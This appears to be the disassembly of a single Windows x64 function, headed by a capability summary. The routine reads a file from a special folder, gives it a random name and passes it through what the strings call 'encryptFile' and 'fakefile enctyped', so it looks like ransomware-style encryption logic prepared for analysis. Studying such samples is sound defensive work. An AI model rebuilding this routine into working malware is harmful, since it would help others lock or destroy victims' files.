Function at 0x140005a20
Capabilities:
Get common file path
Move file
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14007e018]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor r15d, r15d
mov esi, r15d
mov dword [rsp + 0x40], r15d
lea rax, [rbp + 0x190]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, str.mx81jh1jkx9bah0b3vv4.txt
mov edx, 0x104
lea rcx, [rbp + 0x190]
call fcn.1400406f4
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r12, 0xffffffffffffffff
mov r9d, r12d
lea r8, [rbp + 0x190]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.14003b9a4
mov rdi, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r12d
lea r8, [rbp + 0x190]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, 0x104
call fcn.14003b9a4
mov r14, rax
test rax, rax
je 0x1400061b4
xor ecx, ecx
call fcn.14003fb80
mov rcx, rax
call fcn.140040464
mov ebx, r15d
lea r12d, [r15 + 0x27]
nop
call fcn.140040438
mov r8d, eax
mov eax, 0x84210843
imul r8d
add edx, r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x3e
sub r8d, ecx
cmp r8d, 0x1a
jge 0x140005b5d
mov al, 0x61
jmp 0x140005b6a
mov eax, 0xfffffffc
cmp r8d, 0x34
cmovl eax, r12d
add r8b, al
mov byte [rbp + rbx + 0x180], r8b
inc rbx
cmp rbx, 9
jl 0x140005b30
mov byte [rbp + 0x189], sil
lea rax, [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9, rdi
lea r8, str._s._s
mov edx, 0x104
mov rcx, r14
call fcn.140001f30
mov rdx, r14
mov rcx, rdi
call fcn.140040d68
test eax, eax
jne 0x140005c19
lea r8, [0x140074a10]
mov rdx, r14
lea rcx, [rbp - 0x70]
call fcn.14003b57c
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140005c19
xor edx, edx
lea r8d, [rdx + 2]
call fcn.140040684
mov rcx, qword [rbp - 0x70]
call fcn.140040428
movsxd rbx, eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x70]
call fcn.140040684
mov rcx, rbx
call fcn.14003b9a4
mov r13, rax
test rax, rax
jne 0x140005c23
mov rcx, qword [rbp - 0x70]
call fcn.14003b658
mov rcx, r14
call fcn.14003b990
mov eax, 1
jmp 0x1400061b7
mov r9, qword [rbp - 0x70]
mov r8, rbx
mov edx, 1
mov rcx, r13
call fcn.140041234
mov rdi, rax
cmp rax, rbx
je 0x140005c62
mov rcx, qword [rbp - 0x70]
call fcn.14003b658
mov rcx, r13
call fcn.14003b990
mov rcx, r14
call fcn.14003b990
mov eax, 1
jmp 0x1400061b7
mov dword [rsp + 0x40], r15d
mov eax, 4
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14003b9a4
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140005c3f
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov edx, edi
mov rcx, r13
call fcn.140001070
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x70]
call fcn.140040684
mov r8d, dword [rsp + 0x40]
mov r9, qword [rbp - 0x70]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call fcn.14003b90c
mov rcx, qword [rbp - 0x70]
call fcn.14003b334
mov rcx, qword [rbp - 0x70]
call fcn.14003b658
lea rcx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x18]
call fcn.1400035e0
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x90]
call fcn.140037230
lea rcx, [rbp + 0x90]
call fcn.140007420
nop
lea rdx, str._fakefile_enctyped__new_name_is:
lea rcx, [rbp + 0x90]
call fcn.14000b480
mov rcx, rax
mov rdx, r14
call fcn.14000b160
mov rcx, rax
call fcn.14000b6f0
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r15w
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
or esi, 2
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov rcx, qword [rbp + 0x108]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140005dbb
mov rax, qword [rbp + 0xd8]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005dbb
mov rax, qword [rbp + 0xb8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x100]
cmovb rdx, qword [rbp + 0x100]
sub rdx, r9
jmp 0x140005dec
test cl, 4
jne 0x140005e24
mov rax, qword [rbp + 0xd0]
mov rcx, qword [rax]
test rcx, rcx
je 0x140005e24
mov rax, qword [rbp + 0xb0]
mov r9, qword [rax]
mov rax, qword [rbp + 0xe8]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
mov rax, r9
sar rdx, 1
test rax, rax
je 0x140005e24
lea rcx, [rsp + 0x50]
cmp rdx, 7
ja 0x140005e1e
mov qword [rsp + 0x60], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.140036b80
mov word [rsp + rbx + 0x50], r15w
jmp 0x140005e24
call fcn.14000bbe0
nop
lea r8, str.___encryptFile__
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x48]
call fcn.14000b780
nop
lea r9, [rsp + 0x50]
mov r8, rax
lea rcx, [rsp + 0x70]
call fcn.14000cc90
nop
lea r9, [rsp + 0x70]
mov rdi, qword [rsp + 0x70]
mov r15, qword [rbp - 0x78]
cmp r15, 8
cmovae r9, rdi
mov r12, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
sub rax, r12
mov rsi, qword [rbp - 0x80]
cmp rsi, rax
ja 0x140005eaa
lea rax, [r12 + rsi]
mov qword [rbp - 0x58], rax
lea rbx, [rbp - 0x68]
cmp rcx, 8
cmovae rbx, qword [rbp - 0x68]
lea rcx, [rbx + r12*2]
lea r8, [rsi + rsi]
mov rdx, r9
call fcn.140036b80
lea rax, [rsi + r12]
xor ecx, ecx
mov word [rbx + rax*2], cx
jmp 0x140005ec4
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x68]
call fcn.14000c010
mov r15, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x70]
cmp r15, 8
jb 0x140005f00
lea rdx, [r15*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140005ef7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061ed
mov rcx, rdi
call fcn.140034c90
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x140005f40
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061f3
call fcn.140034c90
xor ebx, ebx
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], bx
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140005f94
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061f9
call fcn.140034c90
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x10]
call fcn.140007ee0
nop
lea r8, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae r8, qword [rbp - 0x68]
mov rax, qword [rbp - 0x58]
lea r9, [r8 + rax*2]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x10]
call fcn.140009570
nop
lea rcx, [rbp + 0x10]
call fcn.140007df0
lea r12, [rbp - 0x48]
mov r15, qword [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r12, r15
mov edi, ebx
mov rsi, qword [rbp - 0x38]
test esi, esi
jle 0x140006046
nop
mov eax, esi
sub eax, edi
mov ebx, 0x5000
cmp eax, ebx
cmovl ebx, eax
movsxd r8, ebx
movsxd rdx, edi
add rdx, r12
lea rcx, [0x1400819f0]
call fcn.140036b80
mov dword [0x1400819e8], ebx
add edi, ebx
call fcn.140001260
cmp edi, esi
jl 0x140006010
xor ebx, ebx
mov rcx, r13
call fcn.14003b990
mov rcx, qword [rsp + 0x48]
call fcn.14003b990
mov rcx, r14
call fcn.14003b990
mov rax, qword [rbp - 0x30]
cmp rax, 0x10
jb 0x14000609c
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140006093
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061ff
mov rcx, r15
call fcn.140034c90
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x1400060dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006205
call fcn.140034c90
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], bx
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0x98]
call fcn.1400070d0
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x8c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x118]
call fcn.140014958
nop
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x1400061b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061e7
call fcn.140034c90
xor eax, eax
jmp 0x1400061b7
mov eax, r12d
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140034c70
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140041530
nop
call fcn.140041530
nop
call fcn.140041530
nop
call fcn.140041530
int3
call fcn.140041530
nop
call fcn.140041530
int3